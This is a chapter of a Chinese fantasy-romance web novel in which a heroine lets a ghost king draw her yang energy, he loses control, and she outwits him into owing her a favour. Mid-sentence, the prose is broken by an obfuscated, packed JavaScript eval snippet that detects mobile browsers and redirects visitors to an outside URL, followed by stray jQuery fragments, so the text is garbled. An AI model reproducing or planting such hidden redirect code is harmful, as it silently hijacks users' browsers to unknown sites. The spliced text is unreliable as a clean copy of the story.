区别好像不大!
柳若璃谨慎地问道:“这个隔空的距离是多少?”双手不停比划,”一米?三米?还是五米?”
贺铭渊道:“越近越好。”
她不能接受:“什么!五米还不够近?!”
一听到五米,贺铭渊就蹙紧眉头,满脸不乐意道:“距离越近,阳气纯度越高,隔空吸已是无奈之举,距离再远跟没吸无甚区别。”
“低头。”
他愣住,不明所以。见他没有反应,柳若璃强势地压住他的肩膀,迫使他与自己视线齐平,四目相对之间,她幽幽问道:“吸我的阳气,难不成你还想要我踮脚?”
贺铭渊拼命摇头,傻傻地望着柳若璃,咽了咽口水,问道:“现在,我可以吸吗?”
“可以。”柳若璃视死如归般合上双眼,谁料那傻鬼迟迟没有动作,方才猴急的是他,如今磨蹭的也是他。等得不耐烦了,睁开双眼,质问道:“还不吸?”
贺铭渊道:“你很紧张。”他一脸小心翼翼的模样,落在柳若璃眼里,竟有几分可爱。
“噗——”之前的鬼王有多威风,现在的鬼王就有多幼稚,简直是天差地别,她忍不住哈哈大笑。
反差如此之大,不知其他恶鬼见到,会不会惊掉下巴。
她笑完,紧绷的身子倒是放松些许,还有心情调侃道:“身为被吸阳气的小白鼠,谁不紧张?”
“我会轻点的。”
“闭嘴,要吸快吸,吸完好早点出去。”
“那我真的开始咯?”
“嗯!”
柳若璃这次没有睁眼,她得时刻盯着贺铭渊,万一他不守承诺吸上头了,又或者是轻薄于她,她闭眼可什么也看不见,那就妥妥吃大亏了。
贺铭渊在靠近,越来越近,两人的唇瓣近在咫尺,眼前少女呼出的每一口气,于他而言都是致命的诱惑,他几乎是强忍着毁灭性的冲动,才未再靠近一步吻上那张红唇。
柳若璃感知到贺铭渊的不可控,双臂弯曲放于胸前,防止他的下一步侵略。下一刻,他便不可抑制,捏住她的肩膀。
而吸阳气,才刚刚开始。
柳若璃只觉得好热,浑身上下像囚在滚烫的火炉里不断翻烤,她粉白的脸颊上汗流不止,体内的真气正源源不断地从口中涌出,毫无保留地传送给身前的饿死鬼。
本就虚脱的身子招架不住,下意识地想要合上嘴巴,却被贺铭渊的指腹拦下。
他的眼神早已迷离,用水汽氤氲的眼眸失态地望着面前的少女,他疯狂地迷恋上这股热流,陷入了吸疯的状态,为了阻止柳若璃闭嘴,竟不管不顾地伸出食指塞进她的嘴里。
尽管这会让他吸到的阳气变少,可吸食到的阳气是如此美味,完全让他丧失理智,嗜血的冲动愈发强烈,他不再满足于这少得可怜的阳气,他还想要拥有更多。
比如,完完全全占据眼前的少女。
他情不自禁地缓缓靠近,迫不及待地想要在柳若璃身上,烙上属于他的印记。
危险迫在眉睫,柳若璃狠狠咬上他的食指,可是这点痛,于他而言不过挠痒痒,甚至似乎还有些享受,舒服地发出令人羞耻的闷哼声。
大变态!
说好的吸一点点阳气,结果完全不顾她死活,她的腿都快酸痛得站不住了,这哪是一点点。
不守诺言,得寸进尺。
这饿死鬼还明目张胆地拉近二人之间距离,两人的额头几乎都要碰到一起,柳若璃毫不留情踩了他一脚,双手大力推开他。
可是明明已经退出他的禁锢之中,她仍感觉到自己的阳气在被一点点掠夺。
怎么回事?
该不会,恶鬼一旦开始吸阳气,就只能由他说结束吧。
可瞧贺铭渊那副意犹未尽的模样,怕是一时半会停不下来,那她的阳气,岂不是会被这饿死鬼吸干!
柳若璃顿时惊恐万分。
她不敢离贺铭渊太近,怕被吸走更多的阳气。只有离得远一点,他吸阳气的速度才会变慢。
贺铭渊在后面追,柳若璃在前面跑。
不到万不得已,她不想放血伤他,身子本就虚了,再放血就更虚了,若他没有清醒,岂不是得不偿失。
她一边跑,一边往后大喊:“贺铭渊,你是万鬼之王啊,你不是饿死鬼,你清醒点!”
柳若璃一跃便是一大步,身轻如燕得根本看不出已是乏力状态。
从小到大,别的武功她并不怎么用心学,唯有轻功她学得最认真,至于为何轻功学得最好,是因为当时她满脑子里想的都是一句话——
打不过就跑。
没成想,在今日一语成谶。
柳若璃狼狈得犹如丧家之犬般被饿死鬼追着跑,两个人绕着屋子追逐了一圈又一圈,她实在是跑不动了,只好扶着墙气喘吁吁。
她的体力已消耗殆尽,现在根本跑不过他,得想办法先让他冷静一下。她环顾四周,想找个趁手的玩意,说不定能一举敲晕他。
不经意间扫了一眼大门,瞬间想到一个两全其美的办法。
“贺铭渊,我在这。”她跑到门口,嚣张地挥手示意。
此刻她的声音,于贺铭渊而言,无异于逃跑的猎物在挑衅,他顿时眼中一片冰冷,莽撞而又果断地直奔她而去。
速度之快,完全没有减速的迹象,正中柳若璃下怀。
就在贺铭渊的手即将触碰到柳若璃的衣袖之际,她的嘴角扬起坏笑:“傻鬼,你中计了!”
只见她极为轻松且惬意地闪到一旁,而贺铭渊已刹不住,一头撞上铁门。
“砰——”大门被撞飞了!
剧烈的声响传入柳若璃的耳旁,强烈的撞击卷起一地灰尘,迷迷糊糊之中,她望见贺铭渊的身影。
红色丝带随风飘扬,而他始终屹立不倒。远处响起一道少年音,腔调同往常一样,充满了漫不经心与玩世不恭。
“柳大小姐,拜你所赐,我的新衣服脏了。”
直至灰尘尽数散去,这才现出他的全部真容,赤红的衣角染上一层灰,衣裳的主人正眯着眼睛望她。
柳若璃下意识地看他头,撞到如此厚实的铁门,他的头还是完好无损。
内心由衷感慨,他的头可真硬!
可是很快,她就发现了一个很严峻的问题。
她的阳气仍在减弱!
为什么?明明贺铭渊已经清醒了,为何她的阳气还在不断往外流失?莫非,贺铭渊还在吸她的阳气?
她大步向前,定睛望去,从上到下扫视一圈,当真发现这小子的表情不对劲。
他的瞳色还残留着一点猩红仍未散去,虽然极力掩饰,但是柳若璃仍能看出他的胸膛在轻微浮动,似是在抑制对阳气的渴望。
柳若璃笑了。
原来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085667|194974||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,贺铭渊当真在觊觎她的阳气。
且此时此刻再也克制不住自己,明知不可为却还是在疯狂吸取她的阳气。
不可一世的鬼王大人,似乎被她找到了弱点。
当真是意外之喜啊!
她挑眉道:“鬼王大人,我只剩一口阳气啦。”
“你还不愿意放过我吗?”
贺铭渊并未回应她,只是狠狠瞪了她一眼,视线瞧到她的嘴唇时竟着急忙慌地瞥开,好似有洪水野兽在后面追着他跑。
过了好一会,只见他紧握拳头,额上冷汗狂流不止,柳若璃这才感觉阳气不再往外泄。
“你是不是该好好跟我解释解释,为何我会在吸你的阳气?为何我的两边脸都有红印子?”
“这不能怪我,要怪就得怪你意志不够坚定,这么小一间屋子,我躲能躲去哪里,是你非要吸我阳气,是你非要轻薄于我,我能有什么办法?”
“我当时极为虚弱,你的血又克我,你会乖乖任由我吸你阳气?”
“你现在是以什么身份质疑我?是关键时刻拖我后腿的盟友?还是高高在上的鬼王?莫非,你还怀疑是我故意给你吸自己的阳气,难不成我是大傻子,伤害自己便宜你,我图什么?”
柳若璃现在完全站在道德至高点,怼得贺铭渊哑口无言。
“你可知你现在的模样,无能狂怒,得了便宜还卖乖。你以为,吸了我的阳气,不用付出什么?我告诉你,想得美,你吸了我如此之多的阳气,我还未同你算账,你倒是狗叫上了。”
“吸了我的阳气,你就得应允我一个要求。”
“你发疯时,就已同我约法三章,你不答应也得答应。”这番话自然是柳若璃诓他的,反正他也不记得发疯过程,倒不如找个借口约束他,免得他想方设法推脱。
贺铭渊怀疑道:“方才之事,我不记得了,我怎知你有没有扯谎?”
他的底气明显不足,像是在故意试探。
瞧瞧,柳若璃就知他不会轻易相信,她口中所言九分真一分假,常人听来不知细节自是会全信。
柳若璃拿出毕生演技,冷笑道:“扯谎?你是说我会不顾自身安危,如此不求回报地给你吸阳气吗?你堂堂万鬼之王,听听你自己说的话,是不是滑天下之大稽,可笑不可笑!”
闻言,贺铭渊沉默片刻,原本惨白的脸变成铁青色,许是柳若璃扇巴掌时下手重了些,五指红痕仍清晰地印在他脸上,青中带红显得愈发狼狈不堪。
明明腰杆挺直,还是多了几分挫败之感,只听他道:“既是我承诺之事,定会践行。”
柳若璃心中暗喜。
“只要是我力所能及之事,定不反悔。”
柳若璃立马抱拳道:“鬼王大人英明。”
识时务者为俊杰,眼前这位鬼王瞧着憋屈得很,她也不是不能拍下马屁,说些好听的话哄哄他。
可惜,他似乎并未体会到柳若璃的良苦用心。相反,他更郁闷了。
两人从屋子走到大堂,一路走来,他皆是愁闷苦脸、沉默不语。
须臾间,周围流动的空气彷佛冻结了一般,压抑地令人喘不过气来。
讨厌鬼不说话,柳若璃倒是毫不在意,一个人自言自语、乐得自在。
直到,她看见满屋子的白衣女子时,才再也笑不出声。
这里面,究竟哪一个才是真正的花蝴蝶?